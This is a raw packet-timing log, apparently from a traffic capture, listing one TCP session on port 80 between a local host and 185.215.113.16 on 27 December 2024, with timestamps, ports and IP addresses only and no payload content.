Dec 27, 2024 15:01:06.663134098 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.664041042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.664203882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.664256096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.665024996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.665119886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.665275097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.666093111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.666204929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.666935921 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.667155981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.667275906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.667320967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.668203115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.668709040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.838746071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.838941097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.839122057 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.839318991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.839395046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.839448929 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.840264082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.840635061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.840677977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.840719938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.841701984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.841747046 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.841810942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.842729092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.842819929 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.842844963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.843787909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.843847990 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.843909979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.844861031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.844911098 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.844938040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.845894098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.845966101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.846004963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.846977949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.847026110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.847069025 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.847973108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.848031998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.848073006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.849128962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.849173069 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.849179983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.850119114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.850236893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.850272894 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.851211071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.851325989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.851349115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.852212906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.852327108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.852370977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.853265047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.853360891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.853404999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.854379892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.854485035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.854521990 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.855387926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.855490923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.855535030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.856450081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.856637001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.856684923 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.857460976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.857503891 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.857553005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.858499050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.858540058 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.858572960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.859591961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.859637022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.859723091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.860675097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.860714912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.860723019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.861705065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.861771107 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.861787081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.862705946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.862750053 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.862889051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.863785982 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.863827944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.863886118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.864953995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.865010977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.865081072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.865901947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.865947008 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.865995884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.866946936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.866986990 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.867039919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.867969036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.868026018 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.868130922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.869019032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.869069099 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.869119883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.870059967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.870105028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.870182991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.871164083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.871177912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.871215105 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.871433973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.872245073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.872263908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.872287035 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.873222113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.873264074 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.873281002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.874327898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.874371052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.874439001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.875340939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.875418901 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.875420094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.876413107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.876461983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.876466990 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.877432108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.877489090 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.877568960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.878492117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.878539085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.878611088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.879534006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.879637957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.879678011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.880584955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.880640030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.880666971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.881146908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.881606102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.881653070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.881676912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.882684946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.882746935 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.882806063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.883732080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.883791924 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.883852005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.884823084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.884869099 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.884877920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.885824919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.885864973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.885874033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.886858940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.886909962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.886965990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.887923956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.887970924 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.888015032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.888983011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.889092922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.889118910 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.890022039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.890074015 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.890100002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.891102076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.891232014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.891268015 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.892148972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.892246962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.892313004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.893174887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.893243074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:06.893291950 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:06.901648998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.030705929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.030904055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.030999899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.031048059 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.031107903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.032094955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.032156944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.032275915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.032671928 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.033085108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.033242941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.033612967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.034177065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.034302950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.034338951 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.035190105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.035229921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.036262035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.036335945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.036406994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.037391901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.037441969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.037516117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.037777901 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.038397074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.038474083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.038515091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.039423943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.039585114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.039654970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.040533066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.040915966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.040971041 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.041532993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.041724920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.041769028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.042613983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.042661905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.042773962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.043608904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.043745041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.043999910 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.044749022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.044764042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.044802904 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.045720100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.045902967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.045948029 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.046773911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.046874046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.046912909 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.047955036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.048077106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.048953056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.049005032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.049006939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.049041033 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.049951077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.050061941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.050110102 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.050973892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.051129103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.051172018 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.052134037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.052315950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.052575111 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.053149939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.053200006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.053327084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.054119110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.054290056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.054331064 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.055171967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.055218935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.055339098 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.056246996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.056329012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.056370020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.057310104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.057452917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.057492971 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.058317900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.058444977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.058537006 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.059355021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.059441090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.059477091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.060415983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.060523987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.060563087 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.061482906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.061600924 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.061774015 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.062510014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.062599897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.062639952 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.063575983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.063657045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.063759089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.064621925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.064713955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.064846039 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.065717936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.065874100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.065920115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.067044020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.067109108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.067176104 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.067691088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.067965031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.068057060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.068088055 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.068872929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.068919897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.068958044 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.069875956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.069977999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.070014000 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.070939064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.071095943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.071674109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.072045088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.072212934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.072257996 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.073014975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.073137045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.073204994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.074070930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.074090958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.074126959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.075398922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.075529099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.075931072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.076318026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.076426983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.076466084 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.077301979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.077403069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.077507973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.077583075 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.078320980 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.078332901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.078367949 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.079406023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.079591990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.079628944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.080472946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.080514908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.080564022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.081440926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.081552982 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.081769943 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.082483053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.082587004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.082901001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.083527088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.083645105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.083712101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.084573984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.084702969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:07.084742069 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:07.085628033 CET	80	49731	185.215.113.16	192.168.2.5
